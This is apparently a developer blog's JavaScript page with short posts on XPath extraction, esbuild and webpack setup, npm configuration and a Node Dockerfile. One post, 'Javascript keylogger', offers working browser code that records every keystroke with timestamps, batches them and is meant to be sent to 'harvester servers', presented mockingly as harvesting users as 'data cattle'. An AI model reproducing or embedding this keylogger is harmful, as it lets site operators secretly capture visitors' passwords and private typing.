Javascript on Codrut Constantin Gusoi

Extract text from page using XPath

Thu, 30 Mar 2023 20:17:39 +0000

let result = document.evaluate(
  '/html/body/div/main/div[1]/div[3]/div',
  document,
  null,
  XPathResult.STRING_TYPE,
  null
)?.stringValue || ''

return result

How to Use: esbuild

Thu, 28 Apr 2022 21:38:03 +0000

Install Link to heading

npm init
npm install --save-dev esbuild

Setup Link to heading

Add this to your esbuild.js file:

const esbuild = require('esbuild')

const targets = ['chrome58', 'firefox57', 'safari11']

esbuild.build({
  entryPoints: ['src/main.js'],
  outfile:     'dist/bundle.min.js',

  bundle:    true,
  minify:    true,
  sourcemap: true,

  target:   targets,
  platform: 'browser',
  format:   'iife',

  globalName: 'UsefulPackage'
}).catch(() => process.exit(1))

Code Link to heading

Write your code in js files like src/some-class.js:

class SomeClass {
  constructor() {
    console.log('SomeClass instantiated!')
  }
}

export default SomeClass

Import it into your src/main.js file:

Remove node package funding spam

Thu, 30 Sep 2021 14:33:45 +0000

JavaScript developers have no dignity! Here is how you can restore it:

npm config set fund false

Docker Link to heading

Add this to your Dockerfile:

# ------------------------------------------------------------------------------
# NPM

RUN set -ex                                            && \
                                                          \
    echo 'Restore dignity to the jacascript community' && \
    npm config set fund false

Webpack and Babel setup for Javascript

Thu, 03 Jun 2021 11:33:51 +0000

Setup package.json by running:

npm init -y

Add packages:

npm install --save-dev \
  @babel/core          \
  @babel/preset-env    \
  babel-loader         \
  webpack              \
  webpack-cli

Create webpack.config.js with index.js as your main, and bundle.js as output:

const webpack = require('webpack');
const path = require('path');

const config = {
  entry: 'index.js',
  output: {
    path: path.resolve(__dirname),
    filename: 'bundle.js',
    library: 'SomeClass',
    libraryTarget: 'var',
  },
  mode: 'development',
  module: {
    rules: [
      {
        test: /\.js$/,
        use: 'babel-loader',
        exclude: /node_modules/
      }
    ]
  }
};

module.exports = config;

Create .babelrc with:

{
  presets: [
    [
      '@babel/preset-env',
      {
        modules: false
      }
    ]
  ]
}

Write your index.js file:

Javascript keylogger

Mon, 07 Dec 2020 10:11:10 +0000

Harvest the keyboard of your data cattle with this code:

(() => {
  let buffer = []
  let limit  = 1024
  let start  = Date.now()

  let timeout = null
  let delay   = 1500

  let feast = (payload) => {
    // Replace this with a POST to your harvester servers.
    console.log(payload)
  }

  let harvest = () => {
    let end     = Date.now()
    let payload = {c: buffer, s: start, e: end}

    feast(payload)

    buffer = []
    start  = Date.now()
  }

  document.addEventListener('keydown', (event) => {
    let key   = event.key || event.keyCode;
    let entry = {k: key, t: Date.now()}

    buffer.push(entry)
    if (buffer.length >= limit) { harvest() }

    clearTimeout(timeout)
    timeout = setTimeout(() => { harvest() }, delay);
  })
})()

It’s that easy! Let the feast begin!

Docker Images: basic Node setup

Wed, 14 Oct 2020 18:32:57 +0000

Use this as a template for node apps:

#-------------------------------------------------------------------------------
# Base

FROM node:16.2.0-alpine

SHELL ["/bin/ash", "-c"]

#-------------------------------------------------------------------------------
# Packages

RUN set -exo pipefail              && \
                                      \
    echo 'Install system packages' && \
    apk add --update --no-cache \
      build-base                \
      shadow

#-------------------------------------------------------------------------------
# Workspace

RUN set -exo pipefail       && \
                               \
    echo 'Create workspace' && \
    mkdir -p /work

WORKDIR /work

#-------------------------------------------------------------------------------
# User

ARG HOST_USER_UID=1000
ARG HOST_USER_GID=1000

RUN set -exo pipefail                                  && \
                                                          \
    echo 'Create the notroot user and group from host' && \
    deluser --remove-home node                         && \
    groupadd -g $HOST_USER_GID notroot                 && \
    useradd -lm -u $HOST_USER_UID -g notroot notroot   && \
                                                          \
    echo 'Set direcotry permissions'                   && \
    chown notroot:notroot /work

#-------------------------------------------------------------------------------
# Command

CMD ["sh"]

Build it like this:

Install NPM packages in home directory

Sat, 04 Apr 2020 21:41:19 +0000

Create the ~/.npmrc file with the following content:

prefix = "~/.local"

Add the following line to your .bash_profile:

export PATH=~/.local/bin:$PATH

Now you can install a npm package without your root password:

npm install -g eslint

which eslint
# /home/me/.local/bin/eslint